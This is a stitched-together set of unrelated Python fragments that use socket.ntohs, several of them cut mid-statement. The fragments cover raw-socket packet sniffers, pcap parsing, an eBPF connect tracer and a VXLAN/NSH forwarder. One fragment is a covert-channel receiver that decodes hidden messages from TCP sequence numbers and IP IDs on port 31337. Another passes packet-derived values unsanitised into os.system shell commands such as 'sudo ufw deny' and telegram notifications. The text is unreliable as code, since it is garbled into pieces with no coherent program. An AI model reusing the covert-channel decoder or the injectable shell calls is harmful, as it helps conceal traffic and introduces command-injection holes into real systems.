myipheader.ip_saddr))), str( socket.inet_ntoa( pack('!I', myipheader.ip_daddr))), myudpheader.udp_sport, myudpheader.udp_dport, myvxlanheader.build() + mynshbaseheader.build() + mynshcontextheader.build() + packet[offset:], args.swap_ip) else: ippack = build_udp_packet( str( socket.inet_ntoa( pack('!I', myipheader.ip_saddr))), str( socket.inet_ntoa( pack('!I', myipheader.ip_daddr))), myudpheader.udp_sport, myudpheader.udp_dport, packet[eth_length + ip_length + udp_length:], args.swap_ip) """ Build Ethernet packet """ pkt = newethheader.build() + ippack """ Send it and make sure all the data is sent out """ while pkt: sent = send_s.send(pkt) pkt = pkt[sent:]
return trace_connect_return(ctx, 4); } int trace_connect_v6_return(struct pt_regs *ctx) { return trace_connect_return(ctx, 6); } """ # code substitutions if args.pid: bpf_text = bpf_text.replace('FILTER_PID', 'if (pid != %s) { return 0; }' % args.pid) if args.port: dports = [int(dport) for dport in args.port.split(',')] dports_if = ' && '.join(['dport != %d' % ntohs(dport) for dport in dports]) bpf_text = bpf_text.replace( 'FILTER_PORT', 'if (%s) { currsock.delete(&pid); return 0; }' % dports_if) bpf_text = bpf_text.replace('FILTER_PID', '') bpf_text = bpf_text.replace('FILTER_PORT', '') if debug: print(bpf_text) # event data TASK_COMM_LEN = 16 # linux/sched.h class Data_ipv4(ct.Structure):
def run_all(): conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(6)) while True: raw_data, addr = conn.recvfrom(65536) dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data) print('\n Ethernet Frame: ') print(TAB_1 + 'Destination: {}, Source: {}, Protocol: {}'.format( dest_mac, src_mac, eth_proto)) if eth_proto == 8: (version, header_length, ttl, proto, src, target, data) = ipv4_Packet(data) print(TAB_1 + "IPV4 Packet:") print(TAB_2 + 'Version: {}, Header Length: {}, TTL: {}'.format( version, header_length, ttl)) print(TAB_3 + 'protocol: {}, Source: {}, Target: {}'.format( proto, src, target)) # ICMP if proto == 1: icmp_type, code, checksum, data = icmp_packet(data) print(TAB_1 + 'ICMP Packet:') print(TAB_2 + 'Type: {}, Code: {}, Checksum: {},'.format( icmp_type, code, checksum)) print(TAB_2 + 'ICMP Data:') print(format_output_line(DATA_TAB_3, data)) # TCP elif proto == 6: src_port, dest_port, sequence, acknowledgment, flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin = struct.unpack( '! H H L L H H H H H H', raw_data[:24]) print(TAB_1 + 'TCP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}'.format( src_port, dest_port)) print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format( sequence, acknowledgment)) print(TAB_2 + 'Flags:') print(TAB_3 + 'URG: {}, ACK: {}, PSH: {}'.format( flag_urg, flag_ack, flag_psh)) print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format( flag_rst, flag_syn, flag_fin)) if len(data) > 0: # HTTP if src_port == 80 or dest_port == 80: print(TAB_2 + 'HTTP Data:') try: http = HTTP(data) http_info = str(http.data).split('\n') for line in http_info: print(DATA_TAB_3 + str(line)) except: print(format_output_line(DATA_TAB_3, data)) else: print(TAB_2 + 'TCP Data:') print(format_output_line(DATA_TAB_3, data)) # UDP elif proto == 17: src_port, dest_port, length, data = udp_seg(data) print(TAB_1 + 'UDP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}, Length: {}'. format(src_port, dest_port, length)) # Other IPv4 else: print(TAB_1 + 'Other IPv4 Data:') print(format_output_line(DATA_TAB_2, data)) else: print('Ethernet Data:') print(format_output_line(DATA_TAB_1, data))
record_time = None end_time = None if options.strict: log('Recording will be aborted if any frame is dropped') Keepalive_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP socket for keepalives Keepalive_sock.bind( (options.local_ip, options.sender_port)) # send from the correct port or it will be ignored # detect quit signal.signal(signal.SIGINT, signal_handler) try: s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) except socket.error, msg: print 'Socket could not be created. Error Code : ' + str( msg[0]) + ' Message ' + msg[1] sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mreq = struct.pack("=4sl", socket.inet_aton("226.2.2.2"), socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) sender = "000b78006001".decode("hex") Videostarted = 0 if options.wave: audiofile = args[0] + "-audio.wav"
while i < len(l): ele1 = l[i] filename = 'assignment-4-data/' + ele1 + '/AccessPoint-1-0.pcap' f = open(filename) print f pcap = dpkt.pcap.Reader(f) frame_tcp_ack = 0 frame_tcp_seg = 0 frame_tcp_Ack_total = 0 frame_tcp_seg_total = 0 if 1: for ts, data in pcap: buf_radiotap = dpkt.radiotap.Radiotap(data) buf_radiotap_len = socket.ntohs(buf_radiotap.length) wlan = dpkt.ieee80211.IEEE80211(data[buf_radiotap_len:]) try: tcp = dpkt.tcp.TCP(wlan.data) if (tcp.flags & dpkt.tcp.TH_ACK) != 0: frame_tcp_ack += 1 frame_tcp_Ack_total += len(data) if len(tcp.data) > 0: frame_tcp_seg += 1 frame_tcp_seg_total += len(data) except dpkt.Error as e: zz = 1 x1 = (frame_tcp_Ack_total * 8.00) / (1024 * 1024 * 50) x2 = (frame_tcp_seg_total * 8.00) / (1024 * 1024 * 50)
# ethernet header VR_ETHER_DMAC_OFF = 0 VR_ETHER_SMAC_OFF = 6 VR_ETHER_PROTO_OFF = 12 VR_ETHER_VLAN_PROTO_OFF = 16 VR_ETHER_PROTO_MAC_OFF = 1 VR_ETHER_PROTO_MAC_LEN = 2 VR_IP_PROTO_ICMP = 1 VR_IP_PROTO_IGMP = 2 VR_IP_PROTO_TCP = 6 VR_IP_PROTO_UDP = 17 VR_IP_PROTO_GRE = 47 VR_IP_PROTO_ICMP6 = 58 VR_IP_PROTO_SCTP = 132 VR_GRE_FLAG_CSUM = (socket.ntohs(0x8000)) VR_GRE_FLAG_KEY = (socket.ntohs(0x2000)) VR_DHCP_SRC_PORT = 68 VR_DHCP6_SRC_PORT = 546 # Size of basic GRE header VR_GRE_BASIC_HDR_LEN = 4 # Size of GRE header with checksum VR_GRE_CKSUM_HDR_LEN = 8 # Size of GRE header with key VR_GRE_KEY_HDR_LEN = 8 VR_DYNAMIC_PORT_START = 0 VR_DYNAMIC_PORT_END = 65535
def read_packet(header, packet): connection = None # parse ethernet header eth_length = 14 eth_header = packet[:eth_length] eth = unpack('!6s6sH', eth_header) eth_protocol = socket.ntohs(eth[2]) #Parse IP packets if eth_protocol == 8: ip_header = packet[eth_length:20 + eth_length] iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) #TCP protocol if protocol == 6: # get source and dest port t = iph_length + eth_length tcp_header = packet[t:t + 20] tcph = unpack('!HHLLBBHHH', tcp_header) source_port = tcph[0] dest_port = tcph[1] connection = Connection(str(s_addr), str(d_addr), str(source_port), str(dest_port), header.getlen(), 0, 1, 0, datetime.datetime.now(), datetime.datetime.now(), "TCP") #UDP Protocol elif protocol == 17: # get source and dest port u = iph_length + eth_length udph_length = 8 udp_header = packet[u:u + 8] udph = unpack('!HHHH', udp_header) source_port = udph[0] dest_port = udph[1] connection = Connection(str(s_addr), str(d_addr), str(source_port), str(dest_port), header.getlen(), 0, 1, 0, datetime.datetime.now(), datetime.datetime.now(), "UDP") # append to connections array if connection is not None: #print header.getlen() match = 0 if len(Connections) == 0: if "192.168.12" in connection.srcAddr: Connections.append(connection) match = 1 else: for i in Connections: if "192.168.12" not in connection.srcAddr: # recv if (i.destAddr == connection.srcAddr) and ( i.destPort == connection.srcPort) and ( i.protocol == connection.protocol): #update connection i.bytesRecv += header.getlen() i.timeout = datetime.datetime.now() i.pktRecv += 1 match = 1 elif "192.168.12" in connection.srcAddr: # transmitting if (i.destAddr == connection.destAddr) and ( i.destPort == connection.destPort) and ( i.protocol == connection.protocol): #update connection i.bytesTr += header.getlen() i.timeout = datetime.datetime.now() i.pktSent += 1 match = 1 if match == 0: if "192.168.12" in connection.srcAddr: Connections.append(connection)
n = 1008 G.append([[0, 255], [1024, 1279]]) G.append([[256, 511], [1024, 1279]]) G.append([[512, 767], [1024, 1279]]) G.append([[768, 1023], [1024, 1279]]) print("\nPlease wait {} seconds for the system to start ... ".format(2 * N + 2), end="") for i in range(4, n): G.append([G[i % 4][0], [G[i - 4][1][0] + 256, G[i - 4][1][1] + 256]]) #Preparing packets capturing socket s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) # Run the principal and Cleaning Processes for checking P = Principal() T = Clean() # Start Processes T.start() P.start() # Start Capturing packets # This step can not be done as a process # because the Record function has timeout exception to avoid waiting for packet # And this timeout Exception only works in the main module Init_Time = time.time() while time.time() - Init_Time <= Exp_Time:
def connect_adapter(self): connect = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) while(True): raw_data, addr = connect.recvfrom(self.port) eth = Ethernet(raw_data) print('Destination: {}, Source: {}, Protocol: {}'.format(eth.dest_mac, eth.src_mac, eth.proto))
def unpack_port(pkt, off): return socket.ntohs(struct.unpack('H', pkt[off:off + 2])[0])
def unpack_message(self, message): # {{{ chunk_number, chunk, k1, k2 = struct.unpack(self.message_format, message) chunk_number = socket.ntohs(chunk_number) return chunk_number, chunk
def in_cksum_done(s): s = (s >> 16) + (s & 0xffff) s += (s >> 16) return socket.ntohs(~s & 0xffff)
def receive_ip(net_interface, zielip): try: my_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) except socket.error as msg: return msg has_ip_header = False my_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) my_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) my_socket.bind((net_interface, 0x0800)) while True: packet = my_socket.recvfrom(100) # Unterscheiden zwischen den einzelnen Headern ethernet_header = packet[0][0:14] ip_header = packet[0][14:34] tcp_header_default = packet[0][34:54] # Die Bytes in Strings umwandeln ethernet_information = struct.unpack( '!6s6s1h', ethernet_header) # 0: Destination_mac, 1: Source_mac, 2: Type ip_information = struct.unpack('!1s1s2s2s1s1s1s1s2s4s4s', ip_header) tcp_information_default = struct.unpack('!2s2s4s4s1s1s1h2s2s', tcp_header_default) # Informationen aus den Strings auslesen ip_address_source = socket.inet_ntoa(ip_information[9]) # ip_address_destination = socket.inet_ntoa(ip_information[10]) ip_ttl = ord( ip_information[6] ) # ord(<str>)" wandelt den <str>-Wert in ein <int>-Wert um (nach der ASCII-Codierung)! tcp_length_with_flags_bin_teil_1 = bin(ord( tcp_information_default[4]))[2:].zfill( 8) # gives something like 0b1010000010100000 with 2*8=16 bits tcp_length = tcp_length_with_flags_bin_teil_1[0:4] tcp_length_with_flags_bin_teil_2 = bin(ord( tcp_information_default[5]))[2:].zfill(8) tcp_window_size = int(tcp_information_default[6]) if int(ethernet_information[2] ) == 2048 and ip_address_source == zielip: print( "From ", ip_address_source, "-ttl: ", ip_ttl, "-tcp-len: ", int(tcp_length, 2) * 4, "-tcp-flags ", tcp_length_with_flags_bin_teil_1[4:8] + tcp_length_with_flags_bin_teil_2, "-window-size: ", tcp_window_size) if int(tcp_length, 2) >= 10: print("The Header provides more information...") tcp_header_option = packet[0][54:74] tcp_information_option = struct.unpack('!2s1H1B1s10s1?2s1B', tcp_header_option) tcp_mss = tcp_information_option[1] tcp_sack_permitted = tcp_information_option[2] tcp_no_operation = tcp_information_option[5] tcp_window_scale = tcp_information_option[7] print("-MSS: ", tcp_mss, "-SACK-Permitted: ", tcp_sack_permitted, "-NoOP: ", tcp_no_operation, "-Window scale: ", tcp_window_scale) break
def parse_packet(packet, ptimestamp): #parse ethernet header eth_header = packet[:const.ETHER_HEAD_LENGTH] eth = unpack('!6s6sH', eth_header) eth_protocol = socket.ntohs(eth[2]) #print 'Destination MAC : ' + eth_addr(packet[0:6]) + ' Source MAC : ' + eth_addr(packet[6:12]) + ' Protocol : ' + str(eth_protocol) direction = packet_direction(eth_addr(packet[6:12]), macaddr) #Parse IP packets, IP Protocol number = 8 if eth_protocol == const.IP_PROTO: #Parse IP header #Strip from the ethernet offset + 20 Bytes (IP Header contains 160bit) ip_header = packet[const.ETHER_HEAD_LENGTH:(const.ETHER_HEAD_LENGTH + 20)] #Here we unpack the data into "iph" buffer tuple according to the IP header #fields #https://en.wikipedia.org/wiki/IPv4#Header #https://docs.python.org/2/library/struct.html iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF #For transport offset calculation iph_length = ihl * 4 ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) if debug_showdata: print 'Version : ' + str(version) + ' IP Header Length : ' + str( ihl) + ' TTL : ' + str(ttl) + ' Protocol : ' + str( protocol) + ' Source Address : ' + str( s_addr) + ' Destination Address : ' + str(d_addr) #global count variable to check number of total packets.. for debugg global count #TCP protocol if protocol == socket.IPPROTO_TCP: t = iph_length + const.ETHER_HEAD_LENGTH tcp_header = packet[t:t + 20] #Unpack TCP header. Returned object is a tuple tcph = unpack('!HHLLBBHHH', tcp_header) #the objects within the TCP tuple are integer s_port = tcph[0] d_port = tcph[1] sequence = tcph[2] acknowledgement = tcph[3] doff_reserved = tcph[4] tcph_length = doff_reserved >> 4 tcph_flags = tcph[5] #print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Sequence Number : ' + str(sequence) + 'Acknowledgement : ' + str(acknowledgement) + ' TCP header length :' + str(tcph_length) + ' TCP Flags : ' + str(tcph_flags) h_size = const.ETHER_HEAD_LENGTH + iph_length + tcph_length * 4 data_size = len(packet) - h_size #dirty fix to avoid ethernet 6 bytes padding frames size #which size is smaller than 60 bytes (typically TCP ACKs) if data_size == 6: data_size = 0 #get data from the packet payload = packet[h_size:] #Capture new connections #+-+-+-+-+-+-+ #|U|A|P|R|S|F| #|R|C|S|S|Y|I| #|G|K|H|T|N|N| #+-+-+-+-+-+-+ # 3 1 8 4 2 1 #global count count += 1 #Construction of packet object p = types.Packet(s_addr, d_addr, s_port, d_port, protocol, direction, ptimestamp, data_size, payload) #Sustituir por un logging event #if tcph_flags == 2 : # print 'ALERT - SYN received for an already existing connection' #inspect_packet('tcp', s_addr,d_addr,s_port,d_port) inspect_packet(p) #print 'Data hex: ' + ':'.join(x.encode('hex') for x in data) #UDP packets elif protocol == socket.IPPROTO_UDP: u = iph_length + const.ETHER_HEAD_LENGTH udph_length = 8 udp_header = packet[u:u + 8] #now unpack them :) udph = unpack('!HHHH', udp_header) s_port = udph[0] d_port = udph[1] length = udph[2] checksum = udph[3] if debug_showdata: print 'Source Port : ' + str( source_port) + ' Dest Port : ' + str( dest_port) + ' Length : ' + str( length) + ' Checksum : ' + str(checksum) h_size = const.ETHER_HEAD_LENGTH + iph_length + udph_length data_size = len(packet) - h_size #Data layer payload = packet[h_size:] if debug_showdata: print 'Data : ' + data #global count count += 1 #Construction of packet object p = types.Packet(s_addr, d_addr, s_port, d_port, protocol, direction, ptimestamp, data_size, payload) inspect_packet(p) #ICMP Packets elif protocol == 1: u = iph_length + const.ETHER_HEAD_LENGTH icmph_length = 4 icmp_header = packet[u:u + 4] #now unpack them :) icmph = unpack('!BBH', icmp_header) icmp_type = icmph[0] code = icmph[1] checksum = icmph[2] if debug_showdata: print 'Type : ' + str(icmp_type) + ' Code : ' + str( code) + ' Checksum : ' + str(checksum) h_size = const.ETHER_HEAD_LENGTH + iph_length + icmph_length data_size = len(packet) - h_size #Data layer data = packet[h_size:] if debug_showdata: print 'Data : ' + data print 'Data hex: ' + ':'.join(x.encode('hex') for x in data) #some other non-supported transport protocol like SCTP else: print 'Protocol other than TCP/UDP/ICMP'
def create_socket(self): self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(Interface.ETH_P_ALL))
def parse_packet(packet): # Parse ethernet header eth_length = 14 eth_header = packet[:eth_length] eth = unpack('!6s6sH', eth_header) ## TODO: spell this out eth_protocol = socket.ntohs(eth[2]) # print 'Destination MAC: ' + eth_addr(packet[0:6]) + \ # ' Source MAC: ' + eth_addr(packet[6:12]) # Parse IP packets, IP Protocol number = 8 if eth_protocol == 8: # Parse IP header # take first 20 characters for the ip header ip_header = packet[eth_length:20 + eth_length] # now unpack them :) iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 ipid = iph[3] # this seems to be correct ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]); d_addr = socket.inet_ntoa(iph[9]); # print 'Version: ' + str(version) + ' IP Header Length: ' + str(ihl) + \ # ' TTL: ' + str(ttl) + ' Protocol: ' + str(protocol) + \ # ' SrcAddress: ' + str(s_addr) + ' DstAddress: ' + str(d_addr) # TCP protocol (Dissembling Ferret will focus on TCP channels) if protocol == 6: t = iph_length + eth_length tcp_header = packet[t:t + 20] # now unpack them :) tcph = unpack('!HHLLBBHHH', tcp_header) source_port = tcph[0] dest_port = tcph[1] sequence = tcph[2] acknowledgement = tcph[3] doff_reserved = tcph[4] tcph_length = doff_reserved >> 4 h_size = eth_length + iph_length + tcph_length * 4 data_size = len(packet) - h_size # get data from the packet data = packet[h_size:] # Only display the packets sent to port 31337 # - for some reason this doesn't print after the first message # TODO: make this configurable or via command-line if str(dest_port) == '31337': print 'Destination MAC: ' + eth_addr(packet[0:6]) + \ ' Source MAC: ' + eth_addr(packet[6:12]) + \ ' Protocol: ' + str(eth_protocol) print 'Version: ' + str(version) + ' IP Header Length: ' + str(ihl) + \ ' ID: ' + str(ipid) + \ ' TTL: ' + str(ttl) + ' Protocol: ' + str(protocol) + \ ' SrcAddress: ' + str(s_addr) + ' DstAddress: ' + str(d_addr) print 'SrcPort: ' + str(source_port) + \ ' DstPort: ' + str(dest_port) + \ ' Sequence Number: ' + str(sequence) + \ ' Acknowledgement : ' + str(acknowledgement) + \ ' TCP header length : ' + str(tcph_length) print 'Data: ' + data if str(ttl) == '64': decipher_iseq(sequence) elif str(ttl) == '68': decipher_ipid(ipid) elif str(ttl) == '60': ## TODO: change this.. using ttl here is not a good idea! print '[*] End Of Message' # TODO: now what? else: print 'n0ise packet' print '[*] Received so far: ' for c in msg_array: print '%s' % c print '' # print 'Data: ' + data ''' NOTE: We aren't using IMCP or UDP at the moment. Leaving the code here just in case we'd like to in the future. ''' # ICMP Packets elif protocol == 1: u = iph_length + eth_length icmph_length = 4 icmp_header = packet[u:u + 4] # now unpack them :) icmph = unpack('!BBH', icmp_header) icmp_type = icmph[0] code = icmph[1] checksum = icmph[2] # print 'Type: ' + str(icmp_type) + ' Code: ' + str(code) + \ # ' Checksum: ' + str(checksum) h_size = eth_length + iph_length + icmph_length data_size = len(packet) - h_size # get data from the packet data = packet[h_size:] # print 'Data: ' + data # UDP packets elif protocol == 17: u = iph_length + eth_length udph_length = 8 udp_header = packet[u:u + 8] # now unpack them :) udph = unpack('!HHHH', udp_header) source_port = udph[0] dest_port = udph[1] length = udph[2] checksum = udph[3] # print 'Source Port: ' + str(source_port) + \ # ' Dest Port: ' + str(dest_port) + \ # ' Length: ' + str(length) + \ # ' Checksum: ' + str(checksum) h_size = eth_length + iph_length + udph_length data_size = len(packet) - h_size # get data from the packet data = packet[h_size:]
def main(): conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) while True: raw_data, addr = conn.recvfrom(65536) dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data) #os.system('ntfy -b telegram send "\n Ethernet Frame: "') #print(TAB_1 + 'Destination: {}, Source: {}, Protocol: {}'.format(dest_mac, src_mac, eth_proto)) if eth_proto == 8: (version, header_length, ttl, proto, src, target, data) = ipv4_Packet(data) os.system('ntfy -b telegram send "\n IPV4 Packet:"') os.system( 'ntfy -b telegram send "Version: {}, Header Length: {}, TTL: {}"' .format(version, header_length, ttl)) os.system( 'ntfy -b telegram send "protocol: {}, Source: {}, Target: {}"'. format(proto, src, target)) os.system( 'ntfy -b telegram send "Catched malicious request from {} to {}"' .format(src, target)) os.system("sudo ufw deny from {} to {}".format(target, src)) os.system("sudo ufw deny out to {} port 443".format(target)) os.system("sudo ufw deny out to {} port 80".format(target)) time.sleep(17) #time.sleep(17) # ICMP if proto == 1: icmp_type, code, checksum, data = icmp_packet(data) os.system('ntfy -b telegram send "ICMP Packet:"') os.system( 'ntfy -b telegram send "Type: {}, Code: {}, Checksum: {},"' .format(icmp_type, code, checksum)) os.system('ntfy -b telegram send "ICMP Data:"') os.system('ntfy -b telegram send %s' % (format_output_line(DATA_TAB_3, data))) time.sleep(17) # TCP elif proto == 6: src_port, dest_port, sequence, acknowledgment, flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin = struct.unpack( '! H H L L H H H H H H', raw_data[:24]) os.system('ntfy -b telegram send "TCP Segment:"') out = os.popen('lsof -i :{}'.format(src_port)).read() print(out) if out == "": print("hizla kacti pnp") os.system('ntfy -b telegram send "{}"'.format(out)) os.system( 'ntfy -b telegram send "Source Port: {}, Destination Port: {}"' .format(src_port, dest_port)) os.system( 'ntfy -b telegram send "Sequence: {}, Acknowledgment: {}"'. format(sequence, acknowledgment)) os.system('ntfy -b telegram send "Flags:"') os.system( 'ntfy -b telegram send "URG: {}, ACK: {}, PSH: {}'.format( flag_urg, flag_ack, flag_psh)) os.system( 'ntfy -b telegram send "RST: {}, SYN: {}, FIN:{}'.format( flag_rst, flag_syn, flag_fin)) os.system("sudo ufw deny from {} to any".format(dest_port)) os.system("sudo ufw deny to {} to any".format(dest_port)) time.sleep(17) if len(data) > 0: # HTTP if src_port == 80 or dest_port == 80: print(TAB_2 + 'HTTP Data:') try: http = HTTP(data) http_info = str(http.data).split('\n') for line in http_info: print(DATA_TAB_3 + str(line)) except: print(format_output_line(DATA_TAB_3, data)) else: print(TAB_2 + 'TCP Data:') print(format_output_line(DATA_TAB_3, data)) # UDP elif proto == 17: src_port, dest_port, length, data = udp_seg(data) print(TAB_1 + 'UDP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}, Length: {}'. format(src_port, dest_port, length)) # Other IPv4 else: print(TAB_1 + 'Other IPv4 Data:') print(format_output_line(DATA_TAB_2, data)) else: print('Ethernet Data:') print(format_output_line(DATA_TAB_1, data))
def driver(): pcap = Pcap('capture.pcap') conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) while True: raw_data, addr = conn.recvfrom(65535) pcap.write(raw_data) eth = Ethernet(raw_data) print('\nEthernet Frame:') print(TAB_1 + 'Destination: {}, Source: {}, Protocol: {}'.format(eth.dest_mac, eth.src_mac, eth.proto)) # IPv4 if eth.proto == 8: ipv4 = IPv4(eth.data) print(TAB_1 + 'IPv4 Packet:') print(TAB_2 + 'Version: {}, Header Length: {}, TTL: {},'.format(ipv4.version, ipv4.header_length, ipv4.ttl)) print(TAB_2 + 'Protocol: {}, Source: {}, Target: {}'.format(ipv4.proto, ipv4.src, ipv4.target)) # ICMP if ipv4.proto == 1: icmp = ICMP(ipv4.data) print(TAB_1 + 'ICMP Packet:') print(TAB_2 + 'Type: {}, Code: {}, Checksum: {},'.format(icmp.type, icmp.code, icmp.checksum)) print(TAB_2 + 'ICMP Data:') print(format_multi_line(DATA_TAB_3, icmp.data)) # TCP elif ipv4.proto == 6: tcp = TCP(ipv4.data) print(TAB_1 + 'TCP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}'.format(tcp.src_port, tcp.dest_port)) print(TAB_2 + 'Sequence: {}, Acknowledgment: {}'.format(tcp.sequence, tcp.acknowledgment)) print(TAB_2 + 'Flags:') print(TAB_3 + 'URG: {}, ACK: {}, PSH: {}'.format(tcp.flag_urg, tcp.flag_ack, tcp.flag_psh)) print(TAB_3 + 'RST: {}, SYN: {}, FIN:{}'.format(tcp.flag_rst, tcp.flag_syn, tcp.flag_fin)) if len(tcp.data) > 0: # HTTP if tcp.src_port == 80 or tcp.dest_port == 80: print(TAB_2 + 'HTTP Data:') try: http = HTTP(tcp.data) http_info = str(http.data).split('\n') for line in http_info: print(DATA_TAB_3 + str(line)) except: print(format_multi_line(DATA_TAB_3, tcp.data)) else: print(TAB_2 + 'TCP Data:') print(format_multi_line(DATA_TAB_3, tcp.data)) # UDP elif ipv4.proto == 17: udp = UDP(ipv4.data) print(TAB_1 + 'UDP Segment:') print(TAB_2 + 'Source Port: {}, Destination Port: {}, Length: {}'.format(udp.src_port, udp.dest_port, udp.size)) # Other IPv4 else: print(TAB_1 + 'Other IPv4 Data:') print(format_multi_line(DATA_TAB_2, ipv4.data)) else: print('Ethernet Data:') print(format_multi_line(DATA_TAB_1, eth.data)) pcap.close()
def parse_packet(packet): # Parse the Ethernet header, unpack, and extract the Ethernet proto number. eth_len = 14 eth_header = packet[:eth_len] eth = unpack('!6s6sH', eth_header) eth_proto = socket.ntohs(eth[2]) # Parse IP packets (IP Proto number is 8) if eth_proto == 8: # Parse IP header # Take first 20 characters for the IP header ip_header = packet[eth_len:20 + eth_len] iph = unpack('!BBHHHBBH4s4s', ip_header) # Put them into a usable structure version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_len = ihl * 4 # Start extracting useful information ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) # TCP Protocol if protocol == 6: t = iph_len + eth_len tcp_header = packet[t:t + 20] tcph = unpack('!HHLLBBHHH', tcp_header) s_port = tcph[0] d_port = tcph[1] sequence = tcph[2] return [time.time(), s_addr, s_port, sequence] # UDP Protocol elif protocol == 17: u = iph_len + eth_len udph_len = 8 udp_header = packet[u:u + 8] udph = unpack('!HHHH', udp_header) s_port = udph[0] d_port = udph[1] info = [time.time(), s_addr, s_port] return info # ICMP Protocol elif protocol == 1: i = iph_len + eth_len icmph_len = 4 icmp_header = packet[i:i + 4] icmph = unpack('!BBH', icmp_header) icmp_type = icmph[0] icmp_code = icmph[1] return [time.time(), s_addr, icmp_type, icmp_code] # If not TCP/UDP/ICMP else: print 'Protocol not TCP/UDP/ICMP. Exiting.' sys.exit()